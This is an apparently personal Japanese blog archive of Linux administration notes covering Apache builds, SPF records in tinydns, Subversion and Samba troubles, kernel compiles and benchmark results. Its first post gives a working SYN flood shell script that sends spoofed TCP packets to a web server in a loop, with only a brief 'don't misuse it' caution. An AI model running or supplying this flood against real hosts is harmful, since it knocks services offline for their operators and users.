Archive for Linux

SYN FLOOD のテスト

SYN FLOODを作るためのシェルスクリプト。

#!/bin/sh
delay=200
while : ; do
port=$RANDOM
sendip -d '' -p ipv4 -p tcp -is 192.168.0.254 -ts $port -td 80 192.168.0.10
usleep $delay
done悪用しないでね。

configure: error: Cannot use an external APR-util with the bundled APR

apache 2.2.4 へアップグレードしようとしたら、aprが古いってエラーだされた。

checking for APR-util… yes
configure: error: Cannot use an external APR-util with the bundled APR

解決するためには、いつものconfigureに–with-included-apr を追加すればOK!

こんな感じで。

./configure --enable-rewrite --enable-so --enable-ssl --with-mpm=prefork --with-included-apr

tinydnsでSPFレコード

tinydnsのレコードで書くとこんな感じ。

'secure-shop.jp:v=spf1\040ip4\072124.34.28.50\040~all
  • メールサーバのIPアドレスは124.34.28.50
  • コロンは、\072でエスケープ
  • 半角スペースは\040でエスケープしてる。

SPF Sender Policy Frameworkだとさ。

メールの送信元アドレスの偽装を防止する技術。Pobox.com社の創設者Meng Wong氏が提唱した方式で、無差別に大量に送られる広告メール(SPAMメール)の抑止につながるとして期待されている。

仕事で運用しているECサイトのメールがhotmailに届かないので原因を調べてみたら、hotmailの受信サーバはスパム判定にDNSのSPFレコードを見ていると書いてあった。

SPFレコードを作成したら、hotmailにも届くようになった。
めでたしめでたし。
YahooやGmailもSPFを見ているようだが、hotmailほど重きを置いていないっぽいので問題なかった。

計画停電の時に実行すべきLinuxコマンド

atコマンド

# at -t '200702100700'
at> shutdown -h now
Ctrl+D

これで動くのかは。。。。神のみぞ知る。

っていうのは嘘で、

# atq

で見られるっす。

Read more

subversionがNFS越しで止まる。。。

こんな問題が起こった:
========
cronで2分おきに
% svn update
するように設定していたのだが、すぐ止まる。1,2時間で止まる。

% svn cleanup
しても、 /path/to/somewhere/.svn/tmp が存在しないと言われて、cleanupが途中で止まる。

復旧する方法は、checkoutし直すしかない。
========

いろいろ試した結果、
NFS越しにsvn updateするとおかしくなる。
ってことがわかった。

おそらく、subversionがupdateの際にファイルのロックをしているのだけれど、レポジトリのからupdateする速度が遅くて、ロックが途中でタイムアウトしているのだと思う。
まったく、困ったものだ。

sambaが遅い原因がわかった

sambaのゴミ箱機能がonになっている状態で、subversionをsamba経由で使うと、めっっっっっっっちゃ遅くなることがわかった!

今まで、どうしてIOがいっぱいいっぱいになるのかわからなかったけど、やっとわかった。。すっきり!

debian sparc kernel compile

kernelを構築しようとすると,以下のようなエラーが出る.

% make dep
/bin/bash: sparc64-linux-gcc: command not found

なので,egcs64パッケージをインストールする.gcc に単にaliasはるだけではだめみたい.

# apt-get install egcs64

参考:
http://www.nets.ce.hiroshima-cu.ac.jp/~masato/Linux/Ultra/doc/UltraLinuxFAQ/faq-ja.html#q_4_9

————- memo
cd /path/to/kenrel_source
make menuconfig
make clean dep vmlinux modules (SPARCは,bzImageの代わりに,vmlinuxを)
make modules_install
cp arch/i386/boot/bzImage /boot/vmlinuz-2.4.xx
cp System.map /boot/System.map-2.4.xx
ln -s /boot/System.map-2.4.xx /boot/System.map

vi /boot/grub/menu.list
grub-install

blackbox using cygwin

CygwinのWindowManagerを変える.

blackboxの公式サイトから,Older Stable 0.62.1 をダウンロードして,インストール.
最新版だとコンパイルが通らない.

% ./configure
% make
% make install

デフォルトのウィンドウマネージャを変更するために.xinitrcを作って,ウィンドウマネージャ名を変更する.
“fvwm &” と書いてあるところを “blackbox &”に変更する

% cp /etc/X11/xinit/xinitrc ~/.xinitrc
% vi .xinitrc

test
% startx

WS015.JPG

- Cygwin
http://cygwin.com/

- Blackbox window manager
http://blackboxwm.sourceforge.net/

linux 2.6.0

Kernel 2.6が正式リリースしたから,試しに入れて,ベンチマークしてみた.
結果としては,速度は2.4より遅くなってるみたい.(単純なベンチマークだから一概にはいえないけど)

-- 2.4.21 --
  BYTE UNIX Benchmarks (Version 4.0.1)
  System -- Linux taro 2.4.21 #1 SMP Mon Jun 30 16:08:52 JST 2003 i686 unknown
  Start Benchmark Run: Sun Dec 21 02:52:56 JST 2003
   2 interactive users.
   02:52:56 up 12 days, 12:09,  2 users,  load average: 0.00, 0.00, 0.00
  lrwxrwxrwx    1 root     root            4 Jun 28 02:20 /bin/sh -> bash
  /bin/sh: symbolic link to bash
  /dev/hda3              5763648   2902140   2568724  54% /
Dhrystone 2 using register variables     2294584.9 lps   (10 secs, 10 samples)
Arithmetic Test (type = double)          389627.2 lps   (10 secs, 10 samples)
System Call Overhead                     530402.4 lps   (10 secs, 10 samples)
Pipe Throughput                          481352.2 lps   (10 secs, 10 samples)
Pipe-based Context Switching             164035.1 lps   (10 secs, 10 samples)
Process Creation                           6760.6 lps   (30 secs, 3 samples)
Execl Throughput                           1428.7 lps   (29 secs, 3 samples)
File Read 1024 bufsize 2000 maxblocks    294947.0 KBps  (30 secs, 3 samples)
File Write 1024 bufsize 2000 maxblocks   237044.0 KBps  (30 secs, 3 samples)
File Copy 1024 bufsize 2000 maxblocks    128832.0 KBps  (30 secs, 3 samples)
File Read 256 bufsize 500 maxblocks      157020.0 KBps  (30 secs, 3 samples)
File Write 256 bufsize 500 maxblocks     109942.0 KBps  (30 secs, 3 samples)
File Copy 256 bufsize 500 maxblocks       60326.0 KBps  (30 secs, 3 samples)
File Read 4096 bufsize 8000 maxblocks    387795.0 KBps  (30 secs, 3 samples)
File Write 4096 bufsize 8000 maxblocks   334843.0 KBps  (30 secs, 3 samples)
File Copy 4096 bufsize 8000 maxblocks    178603.0 KBps  (30 secs, 3 samples)
Shell Scripts (1 concurrent)               1625.6 lpm   (60 secs, 3 samples)
Shell Scripts (8 concurrent)                221.0 lpm   (60 secs, 3 samples)
Shell Scripts (16 concurrent)               111.0 lpm   (60 secs, 3 samples)
Arithmetic Test (type = short)           198475.3 lps   (10 secs, 3 samples)
Arithmetic Test (type = int)             202776.7 lps   (10 secs, 3 samples)
Arithmetic Test (type = long)            202784.9 lps   (10 secs, 3 samples)
Arithmetic Test (type = float)           389897.2 lps   (10 secs, 3 samples)
Arithoh                                  4602517.3 lps   (10 secs, 3 samples)
C Compiler Throughput                       704.8 lpm   (60 secs, 3 samples)
Dc: sqrt(2) to 99 decimal places          62865.4 lpm   (30 secs, 3 samples)
Recursion Test--Tower of Hanoi            31573.8 lps   (20 secs, 3 samples)

                     INDEX VALUES
TEST                                        BASELINE     RESULT      INDEX

Arithmetic Test (type = double)              29820.0   389627.2      130.7
Dhrystone 2 using register variables        116700.0  2294584.9      196.6
Execl Throughput                                43.0     1428.7      332.3
File Copy 1024 bufsize 2000 maxblocks         3960.0   128832.0      325.3
File Copy 256 bufsize 500 maxblocks           1655.0    60326.0      364.5
File Copy 4096 bufsize 8000 maxblocks         5800.0   178603.0      307.9
Pipe Throughput                              12440.0   481352.2      386.9
Process Creation                               126.0     6760.6      536.6
Shell Scripts (8 concurrent)                     6.0      221.0      368.3
System Call Overhead                         15000.0   530402.4      353.6
                                                                 =========
     FINAL SCORE                                                     310.9

-- 2.6.0 --
  BYTE UNIX Benchmarks (Version 4.0.1)
  System -- Linux taro 2.6.0 #1 SMP Tue Dec 23 02:38:17 JST 2003 i686 unknown
  Start Benchmark Run: Tue Dec 23 02:51:47 JST 2003
   1 interactive users.
   02:51:48 up 5 min,  1 user,  load average: 0.01, 0.07, 0.03
  lrwxrwxrwx    1 root     root            4 Jun 28 02:20 /bin/sh -> bash
  /bin/sh: symbolic link to bash
  /dev/hda3              5763648   2953552   2517312  54% /
Dhrystone 2 using register variables     2268556.1 lps   (10 secs, 10 samples)
Arithmetic Test (type = double)          339919.2 lps   (10 secs, 10 samples)
System Call Overhead                     538408.0 lps   (10 secs, 10 samples)
Pipe Throughput                          413614.5 lps   (10 secs, 10 samples)
Pipe-based Context Switching             143225.8 lps   (10 secs, 10 samples)
Process Creation                           5810.6 lps   (30 secs, 3 samples)
Execl Throughput                           1235.8 lps   (29 secs, 3 samples)
File Read 1024 bufsize 2000 maxblocks    281396.0 KBps  (30 secs, 3 samples)
File Write 1024 bufsize 2000 maxblocks   153456.0 KBps  (30 secs, 3 samples)
File Copy 1024 bufsize 2000 maxblocks     95361.0 KBps  (30 secs, 3 samples)
File Read 256 bufsize 500 maxblocks      134224.0 KBps  (30 secs, 3 samples)
File Write 256 bufsize 500 maxblocks      61439.0 KBps  (30 secs, 3 samples)
File Copy 256 bufsize 500 maxblocks       40408.0 KBps  (30 secs, 3 samples)
File Read 4096 bufsize 8000 maxblocks    384977.0 KBps  (30 secs, 3 samples)
File Write 4096 bufsize 8000 maxblocks   234124.0 KBps  (30 secs, 3 samples)
File Copy 4096 bufsize 8000 maxblocks    135067.0 KBps  (30 secs, 3 samples)
Shell Scripts (1 concurrent)               1457.2 lpm   (60 secs, 3 samples)
Shell Scripts (8 concurrent)                197.7 lpm   (60 secs, 3 samples)
Shell Scripts (16 concurrent)                99.0 lpm   (60 secs, 3 samples)
Arithmetic Test (type = short)           197377.3 lps   (10 secs, 3 samples)
Arithmetic Test (type = int)             201478.4 lps   (10 secs, 3 samples)
Arithmetic Test (type = long)            201471.4 lps   (10 secs, 3 samples)
Arithmetic Test (type = float)           388509.5 lps   (10 secs, 3 samples)
Arithoh                                  4567310.4 lps   (10 secs, 3 samples)
C Compiler Throughput                       671.0 lpm   (60 secs, 3 samples)
Dc: sqrt(2) to 99 decimal places          51417.1 lpm   (30 secs, 3 samples)
Recursion Test--Tower of Hanoi            31375.2 lps   (20 secs, 3 samples)

                     INDEX VALUES
TEST                                        BASELINE     RESULT      INDEX

Arithmetic Test (type = double)              29820.0   339919.2      114.0
Dhrystone 2 using register variables        116700.0  2268556.1      194.4
Execl Throughput                                43.0     1235.8      287.4
File Copy 1024 bufsize 2000 maxblocks         3960.0    95361.0      240.8
File Copy 256 bufsize 500 maxblocks           1655.0    40408.0      244.2
File Copy 4096 bufsize 8000 maxblocks         5800.0   135067.0      232.9
Pipe Throughput                              12440.0   413614.5      332.5
Process Creation                               126.0     5810.6      461.2
Shell Scripts (8 concurrent)                     6.0      197.7      329.5
System Call Overhead                         15000.0   538408.0      358.9
                                                                 =========
     FINAL SCORE                                                     263.0

Read more

Debian console

Debian(Linux)のコンソールでCaps LockキーをCtrlにする方法

# cd /etc/console/
#gzip -d boottime.kmap.gz
#vi boottime.kmap
keycode 58 =Control に変更
(/usr/share/keymap/とかから別のkeymapをこぴってきてもよし)
#gzip boottime.kmap
#/etc/init.d/keymap.sh reload
 

リンク

自分の他サイト